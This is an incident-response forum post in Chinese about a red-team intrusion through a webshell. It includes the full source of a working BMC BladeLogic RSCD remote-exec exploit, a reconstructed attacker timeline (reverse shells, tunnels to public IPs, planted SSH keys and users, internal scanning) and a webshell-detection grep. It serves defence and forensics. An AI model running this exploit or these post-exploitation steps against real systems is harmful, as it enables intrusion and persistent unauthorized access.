护网-XXE&文件上传应急响应

护网-XXE&文件上传应急响应

检测阶段

某天某公司应急,从态势感知看到几十条冰蝎触发的告警,因为都是加密的所以也看不出来红队操作的都是什么。从探针上看攻击者丧心病狂的在xxe高并发碰几率,还有一个上传成功的shell,我又看了告警事发前30分钟可疑流量和后30分钟的可疑流量除了冰蝎触发的告警也没有其他能溯源发现问题的。从日志检索上看没看到14的机器有像其他机器横向的攻击迹象,没有?你敢相信,没错就是态势感知没有。所以只能去受害主机上去排查。
开始对受害主机进行排查,打包所有jsp文件进行排查

find /cms -name "*.jsp" -exectar-zcvf eee.tar.gz"{}"+

然后开始查shell

grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" eee

发现服务器/cms/fileupload/temp下有一个名字非常奇怪的jsp,这个目录正常情况下应该是图片,文档什么的出现这个肯定是非常可疑的,所以直接mv掉了
接着我们在tmp下发现一个非常奇怪的文件g1t.1

➜  ./g1t.1                                     
Usage: gettitle -i 192.168.1.1/24 -p 80,443
Options:
 -i string
    iplist like 192.168.1.1/24
 -p string
    port like 80,443,8080
 -t int
    thread (default 100)


我们发现这很明显就是个go写的扫描器,扫的还挺快,11秒1个C段,我们发现他探测了2181端口和4750端口
根据和客户了解业务我们知道4750端口BMC服务器自动化RSCD系统,我们在服务器发现了一个BMC.py的文件,直觉告诉我这可能是攻击队的脚本文件,

# Exploit Title: BMC BladeLogic RSCD agent remote exec - XMLRPC version
# Filename: BMC_rexec.py
# Github: https://github.com/bao7uo/bmc_bladelogic
# Date: 2018-01-24
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: BMC RSCD agent 8.3.00.64
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)
# Vendor Advisory: https://docs.bmc.com/docs/ServerAutomation/87/release-notes-and-notices/flashes/notification-of-critical-security-issue-in-bmc-server-automation-cve-2016-1542-cve-2016-1543
# Tested on: 8.3.00.64

#!/usr/bin/python

# BMC BladeLogic RSCD agent remote exec - XMLRPC version
# CVE: CVE-2016-1542 (BMC-2015-0010), CVE-2016-1543 (BMC-2015-0011)

# By Paul Taylor / Foregenix Ltd

# Credit: https://github.com/ernw/insinuator-snippets/tree/master/bmc_bladelogic
# Credit: https://github.com/yaolga

# Credit: Nick Bloor for AWS image for testing :-)
# https://github.com/NickstaDB/PoC/tree/master/BMC_RSCD_RCE

import socket
import ssl
import sys
import argparse
import requests
import httplib
from requests.packages.urllib3 import PoolManager
from requests.packages.urllib3.connection import HTTPConnection
from requests.packages.urllib3.connectionpool import HTTPConnectionPool
from requests.adapters import HTTPAdapter


class MyHTTPConnection(HTTPConnection):
    def __init__(self, unix_socket_url, timeout=60):
        HTTPConnection.__init__(self, HOST, timeout=timeout)
        self.unix_socket_url = unix_socket_url
        self.timeout = timeout

    def connect(self):
        self.sock = wrappedSocket


class MyHTTPConnectionPool(HTTPConnectionPool):
    def __init__(self, socket_path, timeout=60):
        HTTPConnectionPool.__init__(self, HOST, timeout=timeout)
        self.socket_path = socket_path
        self.timeout = timeout

    def _new_conn(self):
        return MyHTTPConnection(self.socket_path, self.timeout)


class MyAdapter(HTTPAdapter):
    def __init__(self, timeout=60):
        super(MyAdapter, self).__init__()
        self.timeout = timeout

    def get_connection(self, socket_path, proxies=None):
        return MyHTTPConnectionPool(socket_path, self.timeout)

    def request_url(self, request, proxies):
        return request.path_url


def optParser():
    parser = argparse.ArgumentParser(
                        description="Remote exec " +
                        "BladeLogic Server Automation RSCD agent"
                    )
    parser.add_argument("host", help="IP address of a target system")
    parser.add_argument(
            "-p",
            "--port",
            type=int,
            default=4750,
            help="TCP port (default: 4750)"
            )
    parser.add_argument("command", help="Command to execute")
    opts = parser.parse_args()
    return opts


def sendXMLRPC(host, port, packet, tlsrequest):
    r = tlsrequest.post(
            'http://' + host + ':' + str(port) + '/xmlrpc', data=packet
        )
    print r.status_code
    print r.content
    return


intro = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteServer.intro</methodName><params><param><value>2016-1-14-18-10-30-3920958</value></param><param><value>7</value></param><param><value>0;0;21;AArverManagement_XXX_XXX:XXXXXXXX;2;CM;-;-;0;-;1;1;6;SYSTEM;CP1252;</value></param><param><value>8.6.01.66</value></param></params></methodCall>"""
options = optParser()
rexec = options.command
PORT = options.port
HOST = options.host
rexec = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>RemoteExec.exec</methodName><params><param><value>""" + rexec  + """</value></param></params></methodCall>"""

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))

sock.sendall("TLSRPC")
wrappedSocket = ssl.wrap_socket(sock)

adapter = MyAdapter()
s = requests.session()
s.mount("http://", adapter)

sendXMLRPC(HOST, PORT, intro, s)
sendXMLRPC(HOST, PORT, rexec, s)

wrappedSocket.close()

通过浏览我们发现这很明显就是CVE-2016-1543的exp,这个自动化运维平台托管着几百台服务器,如果攻击队拿下这个应该算是拿到很高的分数了
我们在/root下发现了.sh_history,诶我一看很可疑,原来红队冰蝎进来之后

python -c 'import pty;pty.spawn("/bin/sh")'

起了个sh的shell,ntpdate去同步时间,在各种ifconfig探测网断,网络结构,直接find去查找9631584.jsp这个木马文件,然后wget去下载 frps.ini文件进行转发,curl访问

http://121.x.x.176:8000

端口,netstat -ano查看运行进程,又在find找9631584.jsp这个木马文件,然后回到

/export/../../../client_war.ear/client.war/xlsfiles/

删掉了所有jsp文件和xls文件,将124.jsp重命名为xwaytest.jsp文件,回到

/export//../../../client_war.ear/client.war/xlsfiles/

再次删掉了所有jsp文件和xls文件,将124.jsp重命名为xwaytest.jsp文件,cd到tmp目录下启动python端口以及ip扫描器对10.x.x1.1/24网断进行探测,

ps -efo uid,pid,ppid,pcpu,pmem,vsz,rss,osz,etime,stime,com

来探测僵尸进行(不清楚为什么这么搞,也许是为了搞清楚系统各情况),然后又用

python对10.x1.x1.1/24发起了扫描
curl http://10.x1.x2.x/Channel/145x17

分别对

10.x1.x.x0 10.x1.8x.3x 10.x1.x2.2x

进行了ping的连通性测试,又对

1x.4x.x.x/24

用python扫描器发起的扫描。对

1x.4x.8x.1/24

进行了扫描,对

10.x.x2.1/24

发起了扫描并输出txt文件到1011.txt中,对

10.x.x.1/24

发起了扫描输出文件到yunwei.txt文件中,对

10.x.0.0

整个b段进行了扫描并输出了txt文件到yunwei2.txt,然后起了nc监听8767反弹shell。

将自己的ssh密钥写入机器,建立test用户并设置密码,在tmp利用了BMC.py的脚本,

ssh 127.0.0.1 -I /etc/passwd.

也不知道这是什么迷惑行为

10.x.1x.1x

机器上发现攻击者使用ping检测网络连通性,

telnet 121.201.10.53 80

然后就find疯狂在

/export/../../../../client.war/

找1Aa.xls以及shell.jsp的木马文件,到tmp
目录下对

10.x.2x.1/24

进行了80与445端口探测,与此同时还查看了ip地址,主机名,用户id,用户名称,用户登陆,内核版本,当前进程,对

10.x.1x.1/24

对445 3389端口进行了端口探测,python建立socker5代理端口82反弹到公网

ip1x.2x.1x.53

利用curl去访问

http://10.1x.2x.7x5:8080/aaa

中aaa的内容,其实aaa也没什么东西估计就是在探测tomcat版本,

/tmp/hsperfdata_root/

下启动了ew建立隧道的动作,反弹到1x.2x.1x.53地址,接下来就是一顿反弹shell。

抑制阶段

  1. 删除webshell后门
  2. 升级BCM到最新版本或暂时下架设备
  3. 禁用4750端口
  4. 移除隧道梯子
  5. 删除攻击者在authorized_keys留下的公钥
  6. 修改受感染机器的密码

根除阶段

根据攻击者收集到的信息,对十几台重要并涉及事件的主机进行排查并清楚,攻击者均已将公钥写入了authorized_keys,并在主机留下了BMC.py的exp脚本,并未发现其他攻击特征和样本。

相关安全建议

  1. 系统、应用相关用户杜绝使用弱口令,应使用高复杂强度的密码,尽量包含大小写字母、数字、特殊符号等的混合密码,加强管理员安全意识,禁止密码重用的情况出现;
  2. 禁止服务器主动发起外部连接请求,对于需要向外部服务器推送共享数据的,应使用白名单的方式,在出口防火墙加入相关策略,对主动连接IP范围进行限制;
  3. 有效加强访问控制ACL策略,细化策略粒度,按区域按业务严格限制各个网络区域以及服务器之间的访问,采用白名单机制只允许开放特定的业务必要端口,其他端口一律禁止访问,仅管理员IP可对管理端口进行访问,如FTP、数据库服务、远程桌面等管理端口;
  4. 部署高级威胁监测设备,及时发现恶意网络流量,同时可进一步加强追踪溯源能力,对安全事件发生时可提供可靠的追溯依据;
  5. 配置并开启相关关键系统、应用日志,对系统日志进行定期异地归档、备份,避免在攻击行为发生时,导致无法对攻击途径、行为进行溯源等,加强安全溯源能力;
  6. 建议在服务器或虚拟化环境上部署虚拟化安全管理系统,提升防恶意软件、防暴力破解等安全防护能力;
  7. 建议安装相应的防病毒软件,及时对病毒库进行更新,并且定期进行全面扫描,加强服务器上的病毒清除能力;
  8. 定期开展对系统、应用以及网络层面的安全评估、渗透测试以及代码审计工作,主动发现目前系统、应用存在的安全隐患;
  9. 加强日常安全巡检制度,定期对系统配置、网络设备配合、安全日志以及安全策略落实情况进行检查,常态化信息安全工作;

攻击复现

1 个赞

学到了 :smiling_imp:


服务器资源由ZeptoVM赞助

Partners Wiki Discord